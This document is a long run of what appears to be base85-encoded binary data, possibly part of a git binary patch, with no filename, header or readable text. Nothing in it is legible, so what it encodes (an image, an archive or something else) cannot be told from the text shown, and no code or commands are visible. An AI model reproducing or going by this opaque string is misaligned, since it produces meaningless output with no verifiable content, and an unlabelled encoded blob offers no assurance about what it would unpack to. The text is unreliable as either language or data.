zB=%|;4cKRbUqt}i%jQk2?peSd>W21SZ|MSze3|$x+h|w84Wzvapr!6kDR%cY8fg(t zMa4?KXePw0&~U*BeTNAssjJ&j9&+lpj$XYeL>VXFh`;_|4=uPVwT<&_?MQz-rwT3e zu4nA&{L5T(;rPE_XywJh_%V^KU!3fjhA!lKtwL(U0iP+qZ}3)^wtRyXJlp$dTet(_#@dR2>v5 zn8$t5`6e<$K~rp>)g}~|V;dA}PS4S6-Z5~}cZT;20J#vxKzdCc=TUxIyvF37`Y2jm z-Um{s+3~_6P@K!4Zw|hCP2A=F30j;YL63-v=-7?8$Y_-$LGeja2QGqa&|z>^gW<%! zx)Nn3()(K*B$6>@CCRpR`T%pf!aXuzD`A6A9PVDivLBvP@b;tXsE|}@j}jl+>AnRW zG!Uqnz_0UPzW1VQ%c&|hzsrW~?hb+_9OUi>FJ>i0It0NP#VlEmC zX$54hOj$Fx3O42iR&Rb4iG#JeEFR5>I^4P@*La|-ub8{}2ODpT2mC|CqCB1DR68Ce zmzoBdEMqlMC%bS<`|*xz^?cCRf~eB@;Nk=drdVq3DnvVpO~8hmE}vFy8CsFv-DU>l zI?V|a-X-@i8s|?5z0^QN$93I8LOoWMSOjeQ!uArmA7+2aGp-y8XDn#p`pqK2()rYJ zf<9X&MW2`$3Ad8z=b7n%v@k{PI4CgxDo6Rnw1438jZqlkx&hGiHKUzu7_^oxoTY7m zN?uJEX$PcPO-jJTG5;X>W02Z?z4rtpDS$%o3FQl*y|m{&U*~O^k@wmAt8tH}Z_fb( zW7oRI538PNZW^LEdZ^<5jB!l(#L&e7&UXRXVuWd;Rgb9*!89hhGoG_a;2~B(Z=1f} zl|^{(v?BVslwCRGVWka)Dm3lX&OGo93zu1XU~6?K)4W*PIs zzQp9r#g04u?@2Jy?2h$Oz0}!t5gY*l)`N8QqDZp@;TM26ezwG!pt!N^K{y^5X~{IDq(UE*aV`t#eAoQ9B) zw>u9YlVPyNM!kQGUWmgaqGH88>;xK<$e^yG34?hy95XHM!I10S#*W!WG3-kjDhKFcI0dE;%RbEj(q9X@Ur&ik{b*bgjFAF)xKoc!n($cPz zVDgS0>fCOERa*^@+M>dFteevEutmhen9R1@O+c8bqKQ(rD=cgo!V2TkOL~R)@=l_y zMLM1HQ2K~1E`O>x1vZs_tx2q-%qQ=MxFt=##E_D!rsD{Selq2{P3;THscg>R4XSF9 z#9rg%a~7?hB+!2SC`G7BI^-HfEq=-lr*RuTcs!*fNS6*iRU>hZ4xgRT^w&Gd%&@Sg z+a9cTOymU1Zhkt+FruD{YF9H>jHyt>EI}=x@|jCAD?g^mDKdz*XtnSmc)gt2#idex zZcLUUrX03RF_II*SNnw23up**LM92_r-)$DQYvnXqRAu2z>!$wC{(3z8YOa+WbPgN z)a8A{7U(PKHo9g7ch8wbZT73o!8UXN!W9=grSSuP+QF)b6s*`ZS!EVQAe3mODjytE zFWgS?+GCIi{JSZ4D#-Z(^~@NiayPlnEdx$A;KM|rf-^6a<)f_BD1@F2{+tKEZ3kQ8 zelFHhagv#_NifHZ-3~X5RvM(fvHdW+&bafJvKLeuT8BY}Qh0l}16K|@KImwKg$LXLJzq8*Y zK&j2^GPMO*s|iRjuUx-LdJoFnQR=gIs>N<#c2s4t0a^?nK>@ihiA{rO^*}(s?3kT6 zAHQz`OkA_53~>|wVa$n9U;j~^TN{k=Uay>1LoI z^@x?w0BsR-QFyKq&_YFJwUdCZA-mKVY-Al+=z>otQIKWeX_iRyW697MD8Imd_c#JM zzTCNONrJ*M1^^YL-sDi`rsc4f@R{uX#&BapR!amj@{pfU^ZjBRQQZ7vwa#31w~j}4 z^@;5z%&KQ?9^%0%Fw*!qG&8^%-|IElC#N%Lyudev@%t84vo52cP`1>LIBV=WH7ocY z^N0TnJ~l7rx=Q4QJ=3ep+BNG;bl3wU_eeM~0@O6<_2-m{?HD^b#h{4Wt&^L_(?{U+ zbRtNpD3XZ$;zN)ZyR`aq`~Cttu5<}?4~;>hn4OWO!-3zNvN0NNI$N9j-Lrjp>w^sr ztR3@(8BmI0j{#_C#YXWa_OfQ#OB1|?8s5YsqRFC=$Q>uM*m@s zGbNIO6eB{3LKkvD`AsGG!#+8Q5Hteo2Xb6BlutBeo<0=p)~io~whE9WaxGw*9?fD- z+$WpKkz}Ty40rgoc8|Kt&}sA9Xei{*y4>9tWozPSrx=rTZNYogHU7lN`uIWW?IRwJ zc4+xv=1ssQV=yt{P_oP8eT1U>mUyB8tBwMK`N)`ET8UpME6LFbo=Q_tp8t0WBJN&*@UREsrI8%8N73zQ5ucOoa=LA{j@lDO?e%E@> zY0!|Sl35GM>s?E;94-w@oBZW2m$O3>fKjSpi^#W!{6kDZBWwKIXn!V=*KaZww?jZ-r_`=Y&&iw&l zzaHs=x>##E>3T<~n1yc|4T1oKu5rZ){|XLaU#syOvo!=1%i%YA-Hvk?l8-ziEZf28 zn1jnVxA_U2t#fDJ$W%w0J`S{sMwOXSJ78N!olo8s59m`2M^uY6c;>4VsoL7pLNUW0 zILjzHjRo6HGi!D}h%iIoi*w)$3~TS$mSO;1UmA%?4AU6*PROW?1iy)BrVo5C`nsRsVdl}g zy>!l&_YYpo%^`6z<1?}rP&xdEYcRUIf3ac$m!esTare0l3Ru%WZ?7Q10MVj}|ZTd=YGFU-Am z2J1|_)>os9k<{q_L6f8ixC9#48D6Vv;q%32Ejr2K4T zX@Px4cAnEWirY1+eg9p9hEOtktX$zCx{ELs(ubBJ)`Tdo>?+yc>BZ&Rl48kAJB+^< zcCdZA(H-kSEo%ghKn9;nxh_acdVH=3cJZN>s@_qEL{mm_GFWDoR?dtkI{BKjNvqRH zkJJ*`QLRgp8Sq#^@yzH;A)Z!!VE(wXeP`EEnBYUlMwXaZ_KX{&C~5#ss0cBx=nd`w z0gFOUfAfY4M3v@Yw(EwS70QWDx5=y+c8IKnxva6gC;qQ+HqQ_#^RnGN^aj0g zA~+cz_ZaY_gnYA#h_1!b;rU`wIuoNK{mWOCl%`uGU^Ef!|7b$soduw{#dZFoOf@og zE>_9Ke_gtbwcma4r`O;9)7ZZLl&;DMtIp>aFR`3qRdAt+;c!e zgR~aYU6~x-eJ@J#K(UffB|elU5Xr;&u*ezhQ#jo|G@vQX-Tri5zPRA53r5P+tIgJU8VJV@)kx_Njwe!NEs$ zG^Dh-ts}VzGv9Uc5}=>`ZyohdXhCtU`mOI(U!53wHcN$3p3h_S32<6ViW2<<7oR4K zm$(j(9%GCs9|T|AYG1H4)hZIXb3fJB8%r%>onjNHZq=~inVpbTx&x^A{{haPjK(cM zpT8++Yh#f*EIM^!nyDK`4wb#$RR`G|#g=knbHQ9j+a}2Bf|$2e>gf7?V1`k^!zm|= zQheh)^OsOIzc@=Ckn0{LkD9x2Cw8m>OTFQSAC9B}Hn=aoMq>hq5Y_R7=1g|1WNo*0 z|KbJS!K9B-F!UXIkFfb1r4XAi+lB)^vJ_>U_&_VcH1Kp;DCq6H$+(#$T=~9zR?s!K z?x(*~(|NVOL4I`)Tqsqk$xb3NAIld)72gElC(u3^*5{t$Z9wqP-Fu0JY)UVGzWFdI zunAj2v*z3n69upnCWM!(NiQI{{sz~0dhR890Pqh%6Z-Z*bmp$E+z-9Pq1}PI_seQY z&$dq^oqpBcl?iQ4B3n}QgQpvogR6ufnKy;<^uOI6 z|F^iew7BQA_j+}c-Dmx3huphC4Q7O+P%r4292`>G>c6cvG^v6{78CATW>K5m6!2kf zF1&YW-PI(Y>zrRu51T3Jj?%Z6zIIet)QTLUmib$!r*)Fv)1FW=C3nZOGQ^oY4ilaM$nqf*~BT_2ou(>e&!y&oI~nG{n>uL;AX47s(}$2tAm zRhh9aXhB+6JCKoQ8gKFzjMazh%wH#!|!YmnVo>1SN zSdYODwXBmihRsL{KYJii^MY9V&31)2lg+%mhyPCr)F|c+CLh)ejiO`)r!H=*Ypm$s zzfcml;4x4x-}z_@+Eo8q?_K_n@IKo_c`Cry6#mIS*V}1^@!6Qw2#;rfoA0+GWi!m$ zYoEmBqhaL2gCZ*d1rX#5Ln^DLdb(5=2=(Se(EJz9e6j917oR;uqEAT%Jce{&g zF8oQ2)IDb<%d(Urzhuub&uzr4lS@y^j%m<{$2gA8wVCPepjHakGE@XQq3>d1%MU>^ zxTd?%Nu8+<1T>SvHyME;NPAM`zq{))@-#fUh=YMcRoKk6)ms&R4CR<-68CWds~s#P zgce>?SS9SDfQx$n`st6eG;+}bt}{lM5yL+WJ%T;?!c+!vma*`Yc1MPj1((5(-_8dr z+icesSRC9NLZfuu{*~#U5G%zcxL`*rt}$W4T~MX0F(HXo+vcoHJY}VnsL;)$6A7Dd z*Pmy>-Hu$zIZvwokg`|>?JNw_T{0N9OSrUdg@w(HTN3B4aB_wAmCW9rRR|+|_9GY5&fo++-mcYpV z6Tjkj#hbz2PO0t^KC**HDS--hY(rI^XBopKLrcjdRt}JY`prt#zxI*N!Q61l=stpu z)NeGxO`Vpq@X*_+O_>|j8UJWx{Xs*oJxhPJHVEs~P^ zAOW(@ZAZD0=&B<+q}|=~NG3>(q=fV@@&ehRU!_^JnOv^uVA=b0A8K_(jG!Gy1*xP* za|RI0Es0+kp$;ZqH=3*IT+G?=_+sNdj#5tE3;pka?qAC{e#}e#;88)r>$KwT%AoC( zq^aRZ?w9@SBOKyE?iyABly6dtvox=}ea0i+1`v&kCPjd6Jq z6*kc~dLv-TujYV&KON@Wh$anAYHR|sX25D&!wT-4v}%OT*AI_JXpErD@w(VC$m+1a zceq76VJp_m*^eU@GxoVUvid4hZrNop_7Ds_yK|qn6l*E7elY&%0{AmeV!&<~Pegw0aFXD#F;R2)u0^i4xoE?k76 zPX)9jQ(L!1`^JZFxVeN|H2%S(Jn&mm2wm5@?Dw~SJiQlN1ljHFP+oq15_gm!0+U%R zWU}9B|BG3Dl6ehAWkgtOLgiMYlM8ux00eRovd4k3;PByDmz4| zW+|XRvJTHod=#`~nV8lx^zUS?FT_M+Zy1o_Wj3DKXri-f!$G=dn_vpmJzb9xY&N=e zo5debVAk1g&UGxnF1Dg>)MtYIW)~~bFhxZ?|Lpwg3_AWIvhNt)8TU}~zH1#_cnP2= zb!iuMXaz?TY13kFx^L)k>Z&Hv9kk4QIQ!{`Vz;gY*FoHK8wt*lI4I)HiWLryvfC{= zDo~~CgI+^r723j)z2=AD5sO~lTyU5*w9r;#7kyxv+Q53=9Yv57xyU&+QE6%{pfB$? z**o3_RwPLJItfWz^cQIwj0NxUKLMbP^5F(4F^ogNRDt$^{Mkf%2&^KH%8&5~oSrMR zVv7v*hp_ezXQip1R9V55M8|9)dH3~}_n^UGhLwMl4B`(k1v5?FF^(iliL~L#2HV)M z(5G)G4dXf8n1B<#()Ji_JkMY!X%nxUCOatbYDKRThbHW{%0zD-$G>&P?vrUX-#sZL z2Ue_l=o^!DN3+wDPLLPW)7?3qJ54)Myxh`ftAzL>&q5dp#h9uUbhGb9aW1XQBfz@E zf{;M$WN)8BqNa~d5bwIw5mI&8E%3;#SRuD~472GPpH&`zGnwG70{E42Gn{n0bW{7bUq}Eg;7&FQlET?BU+kAdfA2V8P7I_Qdo0Zq2W1 z;1768GB>&7T0HLBi}5$g>?y#q?*5BJb|F&(hIfl#YKQAt?ugli_kzy;%O=+Lg(FiM zJok{;C3BgUBkF3zAjXvHsG)I*jO#DzLe5;D(8|y@|62>aI5#mjbqyio*1j`SIahAz z%dUFxMWZ3{97b?D&8mG7;og6i8VLIm26`Yx3|A+(8F4fMpfuFzK5B&0 zZfPCh&BJ>BCK-bND&%7ubM)#Iz?$+Teu$qbh4mZo3f$g1G~!Lg5B|&-`U6p{dB+`;PVVN_V!9XBZw8wmg{< zSb;JHUC;|On~z2Q5Ae^J7x`eZTos?I$|Ha(yw@C&xNOI2wOUt2(Pmqr7SHL^)!5^s z7DAnzUawg#-)>pJv6zR6Z~l6O>!$2S$E=w0D$v84AMPvZ_vP3< zXM;f;Sw>VT)BAd&P5AxOKR8E36+4F9NHU7?p!c|i9j>@%IyrOFSAZINY$BX#!{9m7 zuMytbySGTM?jsq-uQ9bL-B|z1;(1MU<=}Jjj`{T0I}VJlg2>iYo^Bz6b7ehd>q>7h z0F?3~nSc zTI4`hT+V_5;lv7cplgFYpkGhJcRj^!8)5KTKJh02oOj^f-2j4RbO-a(6$xTZBJ|h* z-p3+0;BAY>oftPf$Ta<6eZ-OIf+)n;dC18TI$4mY2=!N?Ub)Ek2)hhYiI+@hU*h=4 zq#SRWhoygj{)#2^pde2MhSd^ChH_bVPeyU^aT4t$`0R-=r^k(0I^21Iq!D;*NyoBv zlyk?Y+z-LM>N6(0XmV8wBv`r4XUNt-37>p~H^g0~7pctBE;Qm2kroqqV3=iogXA@A znT477oBh@#g69*umIiMD{>9u_U=u4>Rx8`Nyu5kKP`^{`N2t|0A z9%DSnEV&(AVX47xbM-|+)5*q27B%;&RmzqU&%v0`JGuWwMzt%uLAtsx?LBhaXkKIw z5tOHR$Pyw6Hb1>n1YvOOkb`R8Afi^_#4{A4oxL^m* zXi#Qj3cikI5_H}Ojm^~A^6Q>W|2;LQip8>yir3aSBIl$!xbWIDs?6%dU5YEZ=WH^B zV&Xptw46`s`^0r&8>oA(9`#c*q+OA+KabJ524gf8T_CTU>&?Mlwqh=sj>aRPdU{io znjY6i?Bu8{%;gU8uYggG1j=}9^{WK8?@Jy(yR2v)t!wl z65TP{n}i}g(Wj-4%>i}29}C1JKmSSocOMSSbF0P09-H5A;hWPN%6zLl3xsu9^x&NV z3BfpX8ZxH&)Opyx^c_Rz&1`s%N^f&k@Hn_^X@ucbQrysE7&a-yPDw>-EJ`jW9!(ui@;@ z#Qi3vSrA9YWjf~CZhIj!1{<9#n`0|L^RQMlMpU9pz;Q2B;-f=v&(VLBI)x_IK07m< z*c>{mNsG{L){1K??ic~-aaM2qr1)9xX>ZsRkD}HzcW3X$HCrR!PoAwOgVkHZ09^!X zYdu#sP%Bf_(@B+ECK1Rh0C!g#m2*ijeBMsVL6vX>bts;*;^oV8GPvWJfizXnFX3vU7XW8Zj)quZ2)<>OS*gsWeV) zsBHt|Vc_U<)q^M145H5v7X-eT8Z-_upbU_QFWsoaQKM~mE=b;GA#$B;b03GSqP#0Trk_%+2$t6Y$DM1Jb)f&-0t;(rU(~f+2s_ z(bKImD&R}epu(E^7UlV!lAcTHsoVz8j$$gvw&M?C;^&8U2-D@q&UFOz!Q8~9?J1}?PNt*AC6Q@*4xNC&uLU5f}vSPPES^5;U$|QEAwnR z!UiG~?+!X!vbv)gT-^A5!a2tC1>1(~6%QVD4BCJyUQe8XLb%>oDQT*b@() zH~dXwVc$|IS$|tjEH8jH@Ts&!tfx^%1i0pOi*K;a%S#M|M{cKhCqu(KJzcW3E*_LJ z_Lm%^jr*!ol1szi(w%_38ZcD`>;Y;TjN;k`MFqbkI%+tMx1k_Ly_uLL)gwZj4rWU) zJOvq;?s;7Nd>Uj1yNl@V&*)#uJav5Kt%8TP$?9^STY=jIn~0a#GXI2(2)(Qzv!ZEA zyTXhhKd=(2n^O|_?6<=uY?wv%^-?=@bjCe%e&Xk$XcTU6N)oV3$*j^z0HP$aLUTFn6i! z!iJ9u?8+wTIZJX(yACD?Kc0iDwKOvQBD&(0jf|n7Llthi-8E&oSKO@R;8zw_dNxSa z57yoVDXTlSC50opO`zK{izMGt0ZVRO*|Q5wz_hX`wLmW}n^6YS&nPlpF)l@cZoM zFinvT`l|7Z?beAN^8-0@bho0Wfql|ilWHInc=F~_YBxFXpcDu}Y ze9X#<#++Nmsut`&2T=-ivIL~$&htTFU%dWMie;dp7WGRpD*g|4`7X9l)eSI4QC#zb zQ|j8geZNx&{+Dx$6_&+fTO$Y0?gqP}v?!Mg-SXRYJF}0HB_q(WW!DC_K~%mnaZ&U- z9s$WtReYC){5nxs97PIs2Dwge@^mu^93G2G1C0h*_@6xG2CTy%%l^|x>EEpsC(trl zFrpzs$U93sXz8oU)jNP<5*s|L>di0sNHebnfipKsb=HUsA7>qSt$a~gG>ntZSmF`S z5}S1~eRq&EoUNcx0^Cv_*inOknj_ikoAcq|e&YA++8vp95t)o`t;Wt(sj2sIK^;B< zd^N5`#nsoaBaiOlcVmO#*Iu{Lp8QY@A{D)LTp;jk$<=aX01S8feu&y6Cj(VXT%Pl` zzSrn`7&0vzV%=IzR-WKrh8%bYb+IIlKO$n}z#M8&m|YWXVBv*Q37HWk_5>}NcUp~n zDoT|w>fy}41Uk|gEmmzT>LVh)c|<>|!AuC#KGe641}U37Y|(5NpDiGkt&&L=$jX#M z0u5gqu`N+};g(oWPQl7Fu_M?BatuicXqkP%lJ7~*Drh=B4J_@9F+rjOiipZslkuxA2;u&^g+PkXWZsn%Kl%R@HUjpUrTaHW7{Pk_9}M4&WaidFoZ+ii%osGynjSpf&ew9JXG#GzJcw$T>St$l6ZVxas zuK_%v{i34TTknFjr)w#Cs*UeWWy)PQsawF?td#j*j zDU$&xMyDGb&pro}9aK^HzszlD2ivqrJbx{bM!DU8AUr#|%)Fkp8)8@%N!1G~U`~hq zuYZ^SX?+`Py`})4U=t-0kh&t|%2uE5FIj-M+N8v@$0?_smk8Z9Um}3yUMP{s{_)y0 z;m~_B;)?aG`+R-0(!bx1#@-NMiKv`#0x8D^Sm$63eKE$s1P~W1^2fRxmqn%>xj>amgQ>8Ix@XsZ)bflny4Rm$D;LTZ=%R7?slYu-aR ze>lL`%VXu3Z1hjNC3XZToa^f}UfEk^7;3eyb3G+#Q{L|?lnonQGFC?J4XOj$bo znCzFMxsp{T)Xq%;$*n;o-VpxB*oE@BY;p7grUZeGoCBDMk?=PqAD_CUp`?j1&KyN!YsWj{}n$k1! zOUEjnzJRc}gX-8EkSRY>hqlc0n0quBsl6i0242VjmCSm0;M|9DrYGyg3ot5ZI_AYG zM(iblra%p4pwVQOR0aS1KB~nF;dyDun9e{D8zk-YrjF3y2*Fij(m1HCT1d!~KZ|5? z9|lN*T~$VRFVj*(vlR0UZXt5>8~(d=#4u3759ZLPsaZFjho(nsj&_AXB3&zB9DqD@ zn2Kt`?4PR3z1N6NG>l8Ng#`vC_`%cP>y2^7MoMuSesf*b`m1W|MW&DI*}7I{LBSRlyozKA`bf76s_i$g!Mx0+ zx7^ABO8Ot#ANn+2<&oPUC89sJMc$s0q1xXWSKG)C#e++ZI&Zp~D+y{`Fm#z)FHRDu8;EBFCnngOXEd zq!zO3d}J5!$g9OahpAZr)!5SkUmE;VksQAN4AFC*wT)D`EZ-~gws%-(9zqZ`qM>`p z+|3LKqU1P_5RD3{xoixGIqv;*1QW9sp#-<77RJc z2O|mdvnd5%p+f&s6G$l^#*o@?1-+Y6#F-1A*-^CF7uGz#%s^jRC7re8pCTLNmCdMB>U;lS)}cRH3IxztWNp_Q=7^hQ>Kx4gCAz#v z^hM&Sn1&Fk@rouQlyyoQ}j%r7E`Ed!fRJru7vIe0%_%9+M$`6DPG`0$9Wyl_RS z$&W3&SI#^l{QMZp+N)X6hiqZ6^Zz|idb`7x`42%%Lo6`c@8ywnIY)9AWT5>yDL{nl zFoP{W_C%ltl?S$Awh|dtM=hF@ZUjhzl1l*W{xBFEBO~S$daxuRzw=y1>fKO^3^{08 z29)~J8XZg%GQe?1BE2lIEc1EtKlWktAa_ z{nJ;3I>i!0&XM2iS;Gc{Hh^}|fLhWBz(`ZX+1`?NhhCY3ehV&-@%XF#J@#CMmn2C< zw|I)*HJIy460io1(xSeX-k60Ej8wpl?)?B)&WsH}4U0h2IfD9on@>OcctlwZ0=ace z;FZTnk(OO%Z&43fqHEso!VbN6Em&=%i^0V9mQUy>Gq2}=UGc@!P_ca1E@Cm$s@A|$ z<;{)F>Rm8q2R>6ynbOn3gwDFrV`ksP`2cmG5gAJ!Yii@GOgViy%~BzgSv=72!0KCj zm^nEqjA(=Xa;U|^KKJQnq#E^sSs>__o1S*kKYR>un2g8_#NY%kQcpoad%LXj)? z%_k(#=luajO=%M9LNi!(I@F0vLDESVzJN9wU{(5N)xXL!T!@45px*aUQ#I>$o(%QBrkZ z=~z2dQQ=$s8#fza*VO&Wl$2yXwm?0a>G`)V4T(kY3z*;m_!?i@n+SshJgdE8ukK!X z0ZvRl%{krAP{Y#xfw`qU_+DIT~haPSGNw?vn~ASUVr z#qFsmJ3In{NK>bj&+$9v$K52F4Ke0kvK*K$npd?HCdUa~J z#G;VftK1G7VSj~AR1Jev)phj_KZ||nVELsyxZ)LE?664=YN;Q~Qd~b?9LHmoV z<2Tecwy)zVjK26aYIjS4uMZ^|-o4u1mYH^=z3tkCunDD(*;bk*Hjy!37_5ygKTMo> zCz76WR2~$vY9?uBaIn+S-3j60Qg3gf87W0mb4}l=3BU@a`e-v9PT8z03R1-yThbKR zmli%n0Y((tYV8Mq9z%Ps-&YuRl&?K_QyeLcJ5&$XE=wDX*35IyKoA`uQj1hPVRa~B za4euzxGmrVfa-^e>~fRvuI_KphPLq%sk>4WzwZ{ArMbTB1|f0NW~lZDJS(~pggE&2 zy25$({LE=hwEI&*OZn8~U>oA(v{^E}SC}Q64oO5lutSVe&?qU(*1B~Eq#obzhr4(7 zA!UmPqrzhR1_%HFJvIxvyYO0*C~nDrFO-zNuT05bK2^4p_>fsg&QMEQlDPXx%;TSv zBM3XHIzw7+muRbPDl-5z>OCxue7oSZRDveZEVfaf5)vZDq;9UKK%*WUPRdx}@#Jww znB%b3oqe3Z$|6epgB4rLUQmxcEfZ9MNgUOo6;-(t;=B-ysR;v9dk68Kqds(QZ`Lpd zfpDBWqPRtGmP-<0B{&;4jI9rI{AW*j?ldK5SR^1Qa#vB07ruV+HW59&fiokum)lHm1P&O)eOgV82P^o7XzpITw^YUMR>>?X*t$7Yy%y z#!yQUCzlLk>F7sLgqwIyRsGj)5zydM2K_F3GzP%Cv<~Cpuaaho;P=o|e4=wqvJ$fw z)O_5Zc#3FM22xLm3htKo2E!K)Kpx_afUw{%&+Rspy7dmjcSHa$ZG!^JvL&_xz{`Vv zPj6Z+KMlgxz@-6@t~T>SE_@)^YK{|^7{nD08DxAGHt9ruH|%i4%;Zz@Y)0pMf>}P# z##A88Ya09_47o7~bhiVaG56G}1WH>U2NPV#AuMej2cj;nve4K!JzV0ev9Yi8E0%!6 zJ;4fDo`NeQX7zcD_Vv8wmJ>XgcAEy#D@Mw~+Z+ZqH5CdUEyYA|u)C;Sk~>prv4(W2 z++>v9>>D`0foYP#nd)^Vk)c705VBRJl<6_H@aC&KO+ZI+)&^+FWm8$vqt=XP+BmvW z)1+$5Dg$^aTIJy7L=`8(-(2^_`-A`N1%}R~0M0FB>l85DcGVdUUk0*VD6X4LP3)3U z2Sp!|B65Wgs?hYti7{^%-X;UmOaF@rJH*0G<*iyrWeztrj7nSti`#p-jm#*YG(`BR zEeU|aMoNehV*UldzP&595DW*T1KnP?1l2W~n~$SZcp^0+l=lh=6ErEJ!XiQBA^-60 zl2VAF64W=m+J-D`icPvb8JT7CznMduH|MRQ?qSx}?NBY98}ee6STJR%Dt`zB|#PXD;J=fn&`vg|_y^*3-ap>lm<0Oj2{nmNO;Eb!xOl_l^hf|AOM ziw3wmN#8cajo1zJ>;hjbP)bF{>oLax7SYqkO|IJRMa*U>`SaOfoW_}X!un$Jb%%K# z*DN^Kg>EzS!Mq2>nY}*{Somu~2h2WZi#-Zl36y_O)YbG!G!#^(#a9y?ci!_JRrfMj zZPhEU_wrQusb#uL*XjcqGV4+SAajF3*Q!TeEK07o{={rXPI@ZBPWr4o5uCFWIR=4~ zXKP$~tn98x+rL1~v~pU09Pd!^BB|*0{B0f}#yS#3^dzP%fy8_ys7o{nf!a;pYpPgC z03}=d!DddCDk4SjdW7oJqL>_ljRB;Euo4)CR}i+R@i>pZ=+9^Krrv|6AJ~3!h4a9z81>x1?&$!ijZ~NUsr;T`s`n8f)ye;v*Ht> zXgfd$ix|k%Ix!zb7=doznK`bi919A{I{7ll~MpUbq0SZK9qon=sow+)V|BsMf5)2@S#nh2(!kP zWV6!x&6)5=FBLUhe~C&!OjH4K;|28Wc2}`4;Q1};_CLd8(O67QL@R|Kaq50qqaan? zexFEA0R9&}^@;G1t}ODq=D-`6L_nYavj@G50i^yzh558j4NN7JTD%;g^%M*cBhpbW znMA;H)NcJVnCfOk}w}Vc8%1x=*g^w#;!lkT|%fTYpQ3{KZG^n(=krDmS>@u zQ}W@>;eT4Djht%Xr@z_={WWOCW^#u!gzD>Q_J9h3&h&RQMc0$w8$WSNF)wf&6=vWnco8~KF%s=yjZo27 zQpYB_Q7QTQw3xr_)7nF5>GCbXuI>uW(@;u{C|PzUGq5%}v56a-=4;SCBE;eLhsAQ| zS}Fc58nS)|NX!nC6Ork*me1E8RBDfKTbrs;c``G0aAn^ zeKCs~13u5$!GpMId-`NJMT@5M#RS=sE}>gq1ph9 za8Su*t!AYFtOl<#7NtN&+MvRGQaL~kHjckk?Qa~~^y!@9LCXb%h3EU$fNUaj6tpXb ztY9ocJ}bbu)=&s?9vJ);zzB zzh8bIr}Q1dTd6dLUOR4%+3v>#8%p$sA$ovCT-{b{X2KmBhd&+dqDIO5P6qd&f73LI zv!C}$d?4MUB3oaYRSfUhgX2DW^~2pmz~H?{YeZ$If7&iWAo7#e@+>yd?hc}}b>*u0 zI_cNpS5r3~mGQ5#tIlle0gpJsVTk?cbk0BqRSwWEdDDRgvu|s$7ZHx=Au5U;`7FMZ zrL^&5aotdYjE9ybGC8s^P(DTXvqETraoG;8_wJAx9dq3eqIlO)xJY7=uMpn-~xBr1zZc}AmeZNux- z!W`-Tz<~vu*qu(DmC8(2#PiyXZ0l*t1&as_EgS%Wk;F1&4ihrzpbqN;8rq;sGz?y? z42*K#N2~5*`pg#}em}%mKngM^25Ok1>&8)DqBp(cgN{{l$1N1D$&~a(XuT@6c7x$A z+I{8zBscGu;ntE>T(*0e`guNp;!!`Usy3W+Q!*E*Lkb9xG!eU9O@9;(7BiJ_QKW-Q ztYFAu&mlgKUgIvn$gS_j9NVyLl;d5BZX-iI&L`n)!ho^7iO#rUZK?bP#eoL|_!bsE z$d+fg&S@sN$QlyTXYE6W`c zXw&=MTZ~-yU+4?50s}Y9bfG4kUIV%Y5_bfj=PDwahK7iO%kmT5teGK)Sz^>+n1&q+JyNvqc3- zkUx*AfdVrwnlJMW9B!j$Eq?mXv<#mHtjt~`8}Ym7loPkHito@fE{!-u>?tvP|50u78x$h({Yp%uND{o zC(}VisAYF}^2Qb;tc)X|_04z$$&5^yl#+SST=Z<>KjG0fb$%Ko!(p)y)ocm{y{gAS~K65DVJP8@GJNVfK(YQL_t3d zVKtHo;B{*V67bP;Nbr zm^uoM-^t@>DAh7~Jg-K4;{P9-FxFYNdrb`Qia=9`{hXC=mThb#@z#ib6$q^;Sgikj6eAvkoKPex*Cy6jP$8C)qpIUBqS39F)2Dtyow)+2fb zgF+vgjO*u%`?GCmp%Nvyys#|Qu4lK9tO)Z1B4bYob0CJ1+*AF-iElFV6TPnaTL*~e7gkmK9TRju&#D7ID&A2L`{&>?y) z&SUd<;-S2mq^{0!Nw^*6%2;fvFpZ-G10APBuD#P${Th(HY8$M_^m56x@YmZwIp}W= zdofV`sV`bK!u)#c>a2#EsIa!56`BRXaluU<i6 zfMeH@SuM=0#HX|Y%@gui_*8JGqcjh|(q>n3aFn%jneJiLq>DFM$86twgvqdMC#ul= zv>NC06@$I@ux3OxtnJ+7i91n`eZ;AaEaV2VHRrYqBidQj0J8MqPQ%kUY%v;}&n(ho zoprIJS%*V1?-gq@5 zGqs*7o_$SDk~HTl*=jF#2|`eJ)iN-~XDbkJ#1sT*P#lYGP0|!0Ke2Tj7$H+$!s5pq zDtl;Btu%K?7jngBP$arjjS$scG-fO*9<08;W$aiFG^^X2r%wxXhfdjE*qh%_l7FnW zK78#YR`VW`!`n(D&IQdxKOu|&QNH2FE@0eB$ z?_9T73ZqZoS*<-H$^N@rq^5-( zK;?*dLfWRkZc!yHmKZ70ZitaqlXWsKyhBfeHOq==dL`JY7Bc=L7FIs}oLcpY?5h8p zK|Eh8qO-k7c|-T3FWgSi0PxrPbgj7cb{Uks2tbA}mPIDRQGy61eLQAg^r}|A(^Mn} zx0A((;)Bq@2@WP%_Iwo(FKmBDO9m%YI-kRe5;5W>_>>k`4*oy`o0O^`)?QuwGD$%T ziiZ$o5+^dPNb-AJw4C^90G(~QG?EY>UDt3xO?g1(K6s!adAE0?gX(W`GRgZTndC{! z!ALnoEoi+_L^9U7Jw6*Lvq z0&5Or+{ikTeFQ4aj!Hb_kviV$)4sA5ty+)k_ zHU=zchR;QOw};3CzO+uVjeQ%|yFVc+vPG?(6G)D`7shlpHligpQ+p5+8kB6UEcGm@ zfMLb^vQu|0_~Js9kyMwD#vs;Y6S;{cz*xNJ-rX+qs@WHfjg`z)A(g&Whut|d-5C|U zwg8^lJzNoJdPtd6hn8nG;N6#7`0YJsHo|Y>Br@??$QGUEy&wdYNYTRHD~zBn?8QtS z_F*0Z-)6-l?+T!0;3SFYSM0}6xLYHgL0r|O_gq_d|B{w-))T+ba@20a?H(Ovi|eNW z5$fq0jft6wjp$K1?q6Ae+Ss0^LL&ER4qMZyW#vP`Y0X|$B`DfExTN>;hykeSx^+UxsNp;Y35ep7z*4cc{1K}Qr ztd`YF?5T_t_I!Ha2BqP$Yu_@-p(xmL1le;`Nd^FhBuqQ7mFeGFjC_^}9owO{%`S^L ztN1}tldD%L7rA6C6;k}_R^fSs){{dQ>kf-0I;1-1(#5q!bwIneeD0qFEcB$0a9p1n zGhx-2n>ijbAAjS2D+SY%jIKn&Z7JW+m9H?j*@X6N*&!9i$&fLIh%D;HY}@vm-~4#7 zd2snu`UNTqiv~)_Tk;(qD0M)*ipCz+>$_vJ0d7SdKXw|ae?)*~@ArfCGs|OL4fcE- zGmOrl4ifiepKD&dgcpNcZBnI7<4V!CmxyBY!{k|jK3+GAt 